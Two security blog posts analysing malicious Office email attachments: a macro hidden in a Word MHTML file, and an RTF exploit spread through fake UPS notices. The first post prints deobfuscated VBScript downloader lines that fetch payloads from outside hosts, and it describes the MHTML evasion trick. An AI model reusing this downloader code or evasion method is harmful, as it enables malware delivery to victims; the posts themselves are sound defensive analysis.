New malicious Office docs trick

It all starts with the 1,000,000th usual spam mail in your inbox:

Have you received an order form? No.

The content is as follows:

Dear,

We have received your order form [AY19358KXN]  and we thank you very much. Our sales department informs us that they are able to dispatch your stock by the end of next week following your packing instructions.

As agreed, we have arranged transport. We are sending herewith a copy of our pro-forma invoice.

The consignment will be sent as soon as the bank informs us that the sum is available. We hope you will be satisfied with the fulfilment of this order and that it will be the beginning of a business relationship to our mutual benefit.

Attached is a DOC file with (surprise) a macro attached. However, the method's different than usual:

@bartblaze this is actually even simpler: open a Word doc with macros, save as MHTML from Word, rename .mht to .doc

— Decalage (@decalage2) May 7, 2015

In the past, there have been some other new tricks as well, for example:
Analyzing an MS Word document not detected by AV software
XML: A New Vector For An Old Trick
Malware authors go a step further to access bank accounts

In regards to any Office files, you can simply open the file in Notepad++ for example and you'll see the .mso appended at the end. The new thing here is that it's a Word MHTML file with macro(s).

Using olevba (by @decalage2), we can extract and automatically decode the .mso object - which contains a bunch of (what appears to be) random gibberish:

Function that "Returns the character associated with the specified character code"

You can use the ASCII character code chart to figure out what this malware is doing exactly, for example the first line Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) is simply "HTTP".

Another option is to use a Python program made by Xavier Mertens, deobfuscate_chr.py.
You can find a Pastebin here with the extracted + deobfuscated macro.

Short analysis of this .doc file using olevba

Other tools are available as well, for example oledump and emldump from Didier Stevens.

Emldump + passing through oledump extracted a malicious link

 
Now, what happens when you execute this malicious Word file?

Oops, seems macros are disabled :)

If macros are enabled, or you choose to enable the macro in that document, a Pastebin download link was opened and the file was executed. Process flow is:

Word document -> download VBS from Pastebin -> Execute VBS -> Downloads & executes EXE file -> Downloads & executes another EXE file.

Visually, you might get either of these images:

dim JHyygUBjdfg: Set JHyygUBjdfg = createobject(Microsoft.XMLHTTP )
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream )
JHyygUBjdfg.Open GET , http://savepic.org/7260406.jpg

dim sdfsdfsdf: Set sdfsdfsdf = createobject(Microsoft.XMLHTTP )
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream )
sdfsdfsdf.Open GET , http://savepic.net/6856149.jpg

Dropper, payload, related files:

AY19358KXN.doc (original file)
SHA1: b2c793b1cf2cf11954492fd52e22a3b8a96dac15
VirusTotal

Extracted macro (I named it AY.vb)
SHA1: 79b0d7a7fe917583bc4f73ce1dbffc5497b6974d
VirusTotal

JGuigbjbff3f.vbs (dropped VBscript file)
SHA1: c8a914fdc18d43aabbf84732b97676bd17dc0f54
VirusTotal
Deobfuscated VBscript

o8237423.exe (dropper)
SHA1: 7edc7afb424e6f8fc5fb5bae3681195800ca8330
VirusTotal

DInput8.dll (payload)
SHA1: 8bfe59646bdf6591fa8213b30720553d78357a99
VirusTotal

Prevention

• Don't open emails (and certainly no attachments) from an unknown source. 
• Install an antivirus and antimalware product and keep it up-to-date & running.
• Improve security for your Microsoft Office package. (Word, Excel, ...)
  This means disabling ActiveX, disabling macros and blocking external content. Useful links:
  Enable or disable ActiveX controls in Office documents
  Enable or disable macros in Office documents
  Block or unblock external content in Office documents

Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only allow the ones that are digitally signed if there's really no other choice) by using GPO.

You can find those templates here:

2007 Office system (SP2) Administrative Template files (ADM, ADMX, ADML) and Office Customization Tool 

Office 2010 Administrative Template files (ADM, ADMX/ADML) and Office Customization Tool download 

Office 2013 Administrative Template files (ADMX/ADML) and Office Customization Tool

Note: starting from Office 2010, macros are disabled by default.

Resources

ASCII Character Codes

Base64Decoder

Chr, ChrW Functions

Macros Explained: Why Microsoft Office Files Can Be Dangerous

OLE (Object Linking and Embedding)

oledump

oletools

Latest UPS spam runs include exploits

Spam runs never get old. Whether you have received a package from UPS, FedEx or even PayPal notifications, they either lead you to (poorly crafted) phishing websites or malware (mostly Trojans like Zeus).

This afternoon I saw a tweet from one of my friends on Twitter:

@MalwareMustDie Phishing Campaign http://t.co/ecm0urGFpv#malwaremustdie
— Jim Kesselring (@RazorEQX) November 5, 2013

Not many moments later I had received the mail in my inbox. Here's what it looked like:

UPS Delivery Notification Tracking Number : XLMBGBN855XLMBGBN581

Mail seems to come from:
auto-notify@ups.com or
auto@ups.com

Obviously the mail is spoofed and is really coming from:
UPS@enviosuperfast.info or
Quantum@enviosuperfast.info or 
View@enviosuperfast.info 

Which traces back to:
192.123.32.83 - Result & 184.82.214.54 - Result

Attached is a file called:
invoiceU6GCMXGLL2O0N7QYDZ.doc
MD5: 7c2fd4abfe8640f8db0d18dbecaf8bb4
Malwr Report
Malware Tracker Report

Other file names are possible as well, but always follow the same format:
invoiceXXXXXXXXXXXXXXXXXX.doc, where XXXXXXXXXXXXXXXXXX is a random string of 18 characters. I haven't seen any other possibilities (yet).

What's this? It seems this is not the usual ZIP file with a piece of malware in, no, rather this .doc file is actually an .rtf file which contains an exploit. There's also a URL in the mail, which leads to the download of the exact same file. (so you're screwed either way - whether you download/open the attachment or the link - malware authors wanting to up their success rate may be a good reason for this "tactic".)

Submission to Malware Tracker revealed CVE-2012-0158

 Let's perform some static analysis as well. Using our favorite tool Notepad++:

Clues in yellow indicating it's indeed an .rtf file (font used: Calibri)

What's happening exactly when we are trying to open this with Wordpad? I can tell you: you just see the same thing as is happening above with Notepad++.

When using OfficeMalScanner (downloadable here) it is being revealed there's a (vulnerable) OLE document embedded. There's an excellent post over at SANS here as well on the usage of this tool.

Unfortunately OfficeMalScanner was unable to automatically extract malicious shellcode, but after some manual work I was able to receive another file, which ultimately delivers another exploit.

We have now two working exploits (both are exploits for Office/.RTF files):
CVE-2012-0158
CVE-2010-3333


When I tried to open it this .RTF file with Microsoft Word 2010, Word crashed and the following happened...:
 

Word crashing & malicious process(es) spawning

Those are an awful lot of REG.exe processes, right? In case you're wondering, REG.exe is a legit Microsoft file - or tool- to edit the registry.

A process called WINWORD.exe is present, but neither vendor or description name are mentioned.
MD5: e5e1ee559dcad00b6f3da78c68249120
Malwr Report

Obviously this isn't the legit Microsoft Word, as that application had crashed. The first time I was reproducing this exploit in the works, it also dropped another file. Unfortunately I was a bit too fast and forgot to take a copy of that sample as well. I was not able to reproduce the spawning or creating of the latter sample.

The malware creates persistence by:

• injecting into explorer.exe
• Creating a key as follows: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\baebadcaacbfcbcdsacfsfdsf

It also recreates itself in:

• %ApplicationData%
• %CommonApplicationData%

It calls back to the following domains:
customer.invoice-appmy.com
customers.invoice-appmy.org
customer.appmys-ups.orgfeed404.dnsquerys.org
feed.queryzdnsz.org
feeds.nsupdatedns.com
feed404.dnsquerys.com
static.invoice-appmy.com

... Which resolves to the following IP's:
158.255.2.60 - Result
118.67.250.91 - Result


The reason for these domain names are probably to fool network administrators who are possibly taking a peek at the packets passing through their appliance: "Oh, it's just for DNS queries." , one may think. Nothing's less true though.


Payload

The payload can vary in this case. According to VirusTotal results, it may be ransomware. I was unable to reproduce that kind of behaviour. I have feelings it may be a Bitcoin miner or simply Zeus/Zbot again. Kaspersky had apparently noticed the same campaign, in their sample it's a Brazilian banking Trojan. You can read that article here.



Prevention

• Upgrade to the latest version of Microsoft Word (and Office as a whole). If that's not possible;
• Install ALL your Windows Updates! These exploits are long patched by Microsoft.
• Improve security for your Office files. This means disabling ActiveX, disabling macros and blocking external content. Useful links:
  Enable or disable ActiveX controls in Office documents
  Enable or disable macros in Office documents
  Block or unblock external content in Office documents
• Block ALL the IP's mentioned above in my post.
• Install a proper antivirus & antimalware solution. In a company: you better have a spamfilter!

 Disinfection

• Look for suspicious Run keys (examples here) and delete the associated file(s).
• Run a full scan with your installed antivirus product.
• Run a full scan with another antivirus and/or antimalware product.
• In a company: warn your network administrator immediately!

Conclusion

One might wonder if this is a so-called "APT" (Advanced Persistent Threat). I highly doubt that.

Though spammers and malware authors have tried the technique of attaching a malicious file or posting a link in the mail, I haven't seen them do that both very much. (exceptions being some awkward and poorly made viagra spam)

Using these exploits, it's clear they are prooftesting their possiblities. How many have fallen or will fall for this campaign? How much of these mails were sent out anyway? There's no sure way of knowing.

Follow the above prevention tips. If you're an antivirus or security company or researcher or just someone interested in this field, this may interest you:

7500198c94051785a68addc5f264a10f
7c2fd4abfe8640f8db0d18dbecaf8bb4
ad0ef249b1524f4293e6c76a9d2ac10d
e5e1ee559dcad00b6f3da78c68249120